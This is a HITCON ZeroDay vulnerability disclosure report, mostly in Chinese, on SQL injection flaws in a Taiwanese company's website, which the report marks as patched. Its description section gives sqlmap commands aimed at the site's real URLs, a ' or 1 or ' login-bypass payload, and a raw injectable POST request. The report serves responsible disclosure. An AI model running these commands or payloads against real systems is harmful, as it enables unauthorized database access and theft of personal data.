政宏資訊Sqli - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00889
  •  發信 Vendor: 政宏資訊
  • Title: 政宏資訊Sqli
  • Introduction: Sqli

處理狀態

目前狀態

公開
Last Update : 2021/12/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2021/12/07 14:18:14 : 新提交 (由 水皮 更新此狀態)
  • 2021/12/10 23:52:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/15 12:16:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/15 12:16:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/15 12:16:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/17 10:02:45 : 已修補 (由 組織帳號 更新此狀態)
  • 2021/12/25 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00889
  • 通報者:waterpeitw (水皮)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.janhong.com.tw/customer_ajax.php
https://www.janhong.com.tw/jh_telsystem/checkname.php

敘述

front

sqlmap -u "https://www.janhong.com.tw/customer_ajax.php?show_clv=lv3&lv2num=1&lv3num=2&order=T" --batch

圖片

telsystem

bypass

https://www.janhong.com.tw/jh_telsystem/
' or 1 or '

可以看到裡面的response

burp 攔截response ,刪除導向的js code 還是可以操作

Sqli

sqlmap -r request

POST /jh_telsystem/checkname.php HTTP/1.1
Host: www.janhong.com.tw
Cookie: PHPSESSID=1bpuadg7v58bi56rvis5rgkr8b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://www.janhong.com.tw
Referer: https://www.janhong.com.tw/jh_telsystem/index.php
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

sname=%27&button=LOGIN

圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;